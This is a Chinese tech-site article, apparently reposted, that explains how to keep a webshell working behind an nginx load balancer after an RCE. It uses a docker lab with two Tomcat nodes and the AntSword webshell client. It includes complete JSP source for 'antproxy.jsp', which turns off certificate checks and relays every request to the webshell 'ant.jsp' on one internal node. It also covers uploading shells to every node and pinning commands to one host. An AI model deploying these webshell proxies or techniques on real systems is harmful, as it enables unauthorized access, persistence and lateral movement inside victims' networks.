当前位置:

首页 > 编程开发 > nginx负载均衡下的webshell上传如何实现

nginx负载均衡下的webshell上传如何实现

场景描述假定在真实生产环境中,存在一个RCE漏洞,可以让我们获取WebShell环境的安装首先在GetHub上拉去漏洞的镜像前,需提前在centos上安装nginx和tomcat以及配置好nginx以及tomcat的相关配置文件,在使用docker将镜像拉取下来,进行漏洞的复现。1、先将docker环境搭建起来2、测试tomcat是否可以访问根据上图可以看出,后端的tomcat是可以访问的3、查看docker中nginx反向代理的负载均衡4、查看docker中lbsnode1中的ant.jsp文件此文件可

本文目录

    场景描述

    假定在真实生产环境中,存在一个RCE漏洞,可以让我们获取WebShell

    环境的安装

    首先在GetHub上拉去漏洞的镜像前,需提前在centos上安装nginx和tomcat以及配置好nginx以及tomcat的相关配置文件,在使用docker将镜像拉取下来,进行漏洞的复现。

    1、先将docker环境搭建起来

    nginx负载均衡下的webshell上传如何实现

    2、测试tomcat是否可以访问

    nginx负载均衡下的webshell上传如何实现

     根据上图可以看出,后端的tomcat是可以访问的

    3、查看docker中nginx反向代理的负载均衡

    nginx负载均衡下的webshell上传如何实现

    4、查看docker中lbsnode1中的ant.jsp文件

    此文件可以理解为一句话木马,在lbsnode2中也是存有相同的文件

    lbsnode1:

    nginx负载均衡下的webshell上传如何实现

     lbsnode2:

    nginx负载均衡下的webshell上传如何实现

    5、通过中国蚁剑来连接ant.jsp文件

    nginx负载均衡下的webshell上传如何实现

     因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常

    复现过程

    存在的问题

    问题一:由于nginx采用的反向代理是轮询的方式,所以上传文件必须在两台后端服务器的相同位置上传相同的文件

    因为我们是反向代理的负载均衡,就存在上传文件出现一台后端服务器上有我们上传的文件,另一台服务器上没有我们上传的文件,出现的结果就是,一旦一台服务器上没有,那么在请求轮到这台服务器的时候,就会报出404的错误,从而影响使用,这也就是一会出现正常,一会出现错误的原因。

    nginx负载均衡下的webshell上传如何实现

    解决方案:

    我们需要在每一台节点的相同位置都上传相同内容的WebShell,从而实现无论是轮询到哪台服务器上都可以访问到我们的后端服务器上。实现每一台后端服务器上都有上传的文件,就需要疯狂上传。

    问题二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行

    我们在执行hostname -i查看当前执行机器的IP时,可以看到IP地址一直在漂移

    nginx负载均衡下的webshell上传如何实现

    问题三:当我们需要上传一些较大的工具时,会造成工具无法使用的情况

    当我们上传一个较大的文件时,由于AntSword上传文件时,采用的是分片上传方式,把一个文件分成了多次HTTP请求发送给目标,造成文件的一部分内容在A这台服务器上,另一部分文件在B这台服务器上,从而使得较大的工具或者文件无法打开或者使用

    问题四:由于目标主机不能出外网,想要进一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

    解决方案

    方案一:关掉其中的一台后端服务器

    关闭后端其中的一台服务器确实能够解决上述的四种问题,但是这个方案实在是“老寿星上吊---活腻了”,影响业务,还会造成灾难,直接Pass不考虑

    综合评价:真是环境下千万不要尝试!!!

    方案二:在程序执行前先判断要不要执行

    既然无法预测下一次是哪台机器去执行,那我们的shell在执行Payload之前,先判断一下要不要执行不就可以了。

    首次按创建一个脚本demo.sh,该脚本是获取我们的后端其中一台服务器的地址,匹配到这台服务器的地址才进行程序的执行,匹配到另一台服务器则不进行程序的执行。

    nginx负载均衡下的webshell上传如何实现

    通过中国蚁剑将demo.sh脚本文件上传到后端的两台服务器上,因为是负载均衡,所以需要疯狂点击上传

    nginx负载均衡下的webshell上传如何实现

    nginx负载均衡下的webshell上传如何实现

     这样一来,确实能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,没有一丝美感,另外,大文件上传、HTTP隧道这些问题也没有解决。

    综合评价:该方案勉强能用,仅适合在执行命令的时候用,不够优雅。

    方案三:在Web层做一次HTTP流量的转发(重点)

    没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。

    还记不记得 「PHP Bypass Disable Function」 这个插件,我们在这个插件加载 so 之后,本地启动了一个 httpserver,然后我们用到了 HTTP 层面的流量转发脚本 「antproxy.php」, 我们放在这个场景下看:

    nginx负载均衡下的webshell上传如何实现

     我们一步一步来看这个图,我们的目的是:所有的数据包都能发给「LBSNode 1」这台机器

    首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx

    nginx 接到数据包之后,会有两种情况:

    我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。

    再来看红色线,第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

    1、创建 antproxy.jsp 脚本

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="javax.net.ssl.*" %>
    <%@ page import="java.io.ByteArrayOutputStream" %>
    <%@ page import="java.io.DataInputStream" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.io.OutputStream" %>
    <%@ page import="java.net.HttpURLConnection" %>
    <%@ page import="java.net.URL" %>
    <%@ page import="java.security.KeyManagementException" %>
    <%@ page import="java.security.NoSuchAlgorithmException" %>
    <%@ page import="java.security.cert.CertificateException" %>
    <%@ page import="java.security.cert.X509Certificate" %>
    <%!
      public static void ignoreSsl() throws Exception {
            HostnameVerifier hv = new HostnameVerifier() {
                public boolean verify(String urlHostName, SSLSession session) {
                    return true;
                }
            };
            trustAllHttpsCertificates();
            HttpsURLConnection.setDefaultHostnameVerifier(hv);
        }
        private static void trustAllHttpsCertificates() throws Exception {
            TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
                public X509Certificate[] getAcceptedIssuers() {
                    return null;
                }
                @Override
                public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                    // Not implemented
                }
                @Override
                public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                    // Not implemented
                }
            } };
            try {
                SSLContext sc = SSLContext.getInstance("TLS");
                sc.init(null, trustAllCerts, new java.security.SecureRandom());
                HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
            } catch (KeyManagementException e) {
                e.printStackTrace();
            } catch (NoSuchAlgorithmException e) {
                e.printStackTrace();
            }
        }
    %>
    <%
            String target = "http://172.24.0.2:8080/ant.jsp";
            URL url = new URL(target);
            if ("https".equalsIgnoreCase(url.getProtocol())) {
                ignoreSsl();
            }
            HttpURLConnection conn = (HttpURLConnection)url.openConnection();
            StringBuilder sb = new StringBuilder();
            conn.setRequestMethod(request.getMethod());
            conn.setConnectTimeout(30000);
            conn.setDoOutput(true);
            conn.setDoInput(true);
            conn.setInstanceFollowRedirects(false);
            conn.connect();
            ByteArrayOutputStream baos=new ByteArrayOutputStream();
            OutputStream out2 = conn.getOutputStream();
            DataInputStream in=new DataInputStream(request.getInputStream());
            byte[] buf = new byte[1024];
            int len = 0;
            while ((len = in.read(buf)) != -1) {
                baos.write(buf, 0, len);
            }
            baos.flush();
            baos.writeTo(out2);
            baos.close();
            InputStream inputStream = conn.getInputStream();
            OutputStream out3=response.getOutputStream();
            int len2 = 0;
            while ((len2 = inputStream.read(buf)) != -1) {
                out3.write(buf, 0, len2);
            }
            out3.flush();
            out3.close();
    %>

    2、修改转发地址,转向目标 Node 的内网IP的 目标脚本 访问地址。

    注意:不仅仅是 WebShell 哟,还可以改成 reGeorg 等脚本的访问地址

    我们将 target 指向了 LBSNode1 的 ant.jsp

    nginx负载均衡下的webshell上传如何实现

    注意:

    a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。

    b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本

    nginx负载均衡下的webshell上传如何实现

    nginx负载均衡下的webshell上传如何实现

    nginx负载均衡下的webshell上传如何实现

    3、 修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

    nginx负载均衡下的webshell上传如何实现

    4、 测试执行命令, 查看 IP

    nginx负载均衡下的webshell上传如何实现

     可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了

    该方案的优点:

    1、低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 Plan A 的关服务就没啥区别了

    2、流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。

    3、适配更多工具

    缺点:

    该方案需要「目标 Node」和「其它 Node」 之间内网互通,如果不互通就凉了。

    本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系bd@zhengruan.com
    作者最新文章
    编程开发 nginx
    相关文章 更多
    thinkphp项目部署指南详解服务器部署步骤
    thinkphp项目部署指南详解服务器部署步骤

    详细解析ThinkPHP项目在Linux服务器上的部署步骤,包括环境搭建、文件权限、Nginx配置及常见陷阱,提供可复制的代码示例与例外场景分析。

    Nginx Windows版安装、启动与验证完整指南
    Nginx Windows版安装、启动与验证完整指南

    本教程针对Windows环境,详解Nginx稳定版(如1.24.0)的下载、解压、启动及验证流程。核心步骤包括:下载官方压缩包至英文目录,使用start nginx启动,通过localhost访问默认页面,并利用tasklist和nginx -t命令确认进程状态及配置语法。涵盖端口冲突排查、配置重载及停止服务的标准操作,适用于本地开发环境搭建与基础运维验证。

    php 升级php5.5 、php7
    php 升级php5.5 、php7

    升级 PHP 7 在实际运维中是个常见需求,但不同环境、不同版本之间切换,坑也不少。这里整理了两条比较典型的路:一条是源码编译安装,一条是直接用第三方 YUM 源替换。两种方式各有优劣,下面把关键步骤和踩过的坑都列出来,方便以后快速复用。 方法一:通过 Webtatic 源安装 PHP 5.5(过渡

    nginx php 书籍,ngx_php
    nginx php 书籍,ngx_php

    ngx_php这个模块,简单来说,就是给nginx插上PHP脚本的翅膀。它还有个更通俗的名字叫php-nginx-module,功能非常直观:让nginx能够直接嵌入PHP语言来处理请求。 环境兼容性 从PHP 5.3到5.6,ngx_php都支持得不错。nginx这边,从1.4.7到1.9.15这

    nginx php php-fpm 配置,Nginx + PHP/PHP-FPM安装配置示例
    nginx php php-fpm 配置,Nginx + PHP/PHP-FPM安装配置示例

    配置LNMP环境(Linux + Nginx + MySQL + PHP)是很多后端开发者都会遇到的场景。这里以CentOS系统为例,演示如何通过编译安装的方式,将Nginx和PHP-FPM搭建起来。整个过程不依赖RPM包,适合需要定制化组件或对性能有更高要求的场景。下面直接上步骤。 (1) 编译安

    linux源码安装php,nginx配置php
    linux源码安装php,nginx配置php

    从源码编译安装PHP并配置Nginx,需先安装libxml2依赖,然后下载并解压PHP源码,执行配置、编译与安装,复制php.ini配置文件到指定位置,安装并启动php-fpm,再编辑Nginx配置文件以添加PHP支持,使其指向fastcgi与9000端口,最后重启服务即可验证PHP运行。

    nginx php配置 ubuntu,Ubuntu安装PHP和PHP Nginx配置方法
    nginx php配置 ubuntu,Ubuntu安装PHP和PHP Nginx配置方法

    在Ubuntu下搭建PHP环境时,先清理旧PHP包,添加OndřejSurý的PPA源,安装PHP5.6或7.1及常用扩展,再配置Nginxlocation块将PHP请求转发至对应版本php-fpmsocket,重启Nginx即可。

    php nginx 整合_centos nginx整合php
    php nginx 整合_centos nginx整合php

    在CentOS7系统上部署LNMP环境,安装PHP语言及其扩展php-mysqlnd和php-fpm,修改php.ini配置文件中的cgi.fix_pathinfo参数为0,将php-fpm服务用户更改为nginx用户,启动php-fpm服务并设置开机自启动。配置Nginx服务器支持PHP解析处理,通过fastcgi_pass指令连接本机9000端口,重启N

    打开php错误提示 nginx+php
    打开php错误提示 nginx+php

    在PHP开发环境中调试时,需在浏览器显示错误信息。首先编辑php.ini,将错误报告级别error_reporting设为E_ERROR(仅显示致命错误),并将display_errors设为On;若启用PHP-FPM,则还需在php-fpm.conf中设置php_flag[display_errors]为on,并重启服务。这样配置后可快速定位致命错误,避免

    PHP-php-fpm安装
    PHP-php-fpm安装

    PHP-FPM是PHP的FastCGI进程管理器,新版已集成至官方核心,编译时加--enable-fpm参数即可开启。安装前需准备gcc、libmcrypt等依赖及oniguruma库,编译安装PHP后生成配置文件,并在nginx的server段添加FastCGI转发配置,测试通过浏览器访问index.php验证。

    查看更多
    精品专题 更多
    装机必备
    装机必备

    正软商城装机必备专区,精选办公、浏览器、安全防护、影音播放、压缩解压、设计创作和系统工具等电脑常用正版软件,帮助用户快速完成新电脑软件配置。

    Windows
    Windows

    正软商城Windows软件专区,汇集适用于Windows电脑的办公、设计、安全防护、影音播放、开发工具和系统优化软件,提供软件介绍、系统要求、正版授权及购买下载服务。

    PDF教程
    PDF教程

    正软商城PDF教程频道提供PDF编辑、转换、合并、拆分、压缩及格式处理方法,同时介绍常用PDF软件和工具的使用技巧。

    Mac软件 更多
    讯飞智作 网页版
    讯飞智作 网页版
    Windows/ macOS/ Linux

    讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

    火山引擎 网页版
    火山引擎 网页版
    Windows/ macOS/ Linux

    火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

    Aperty macOS版
    Aperty macOS版
    macOS

    Aperty 是 Skylum 推出的 AI 人像修图软件,支持自然肤质修饰、瑕疵处理、面部与身体调整、预设及批量同步。

    WINDOWS 更多
    讯飞智作 网页版
    讯飞智作 网页版
    Windows/ macOS/ Linux

    讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

    火山引擎 网页版
    火山引擎 网页版
    Windows/ macOS/ Linux

    火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

    PixTV 网页版
    PixTV 网页版
    Windows

    PixTV 是一款在浏览器中使用的 AI 视觉内容创作平台,提供图片、视频、音频、文字生成、AI 分镜、局部重绘、提示词反推和无限画布等工具,适合短剧、漫剧、广告及社交媒体内容制作。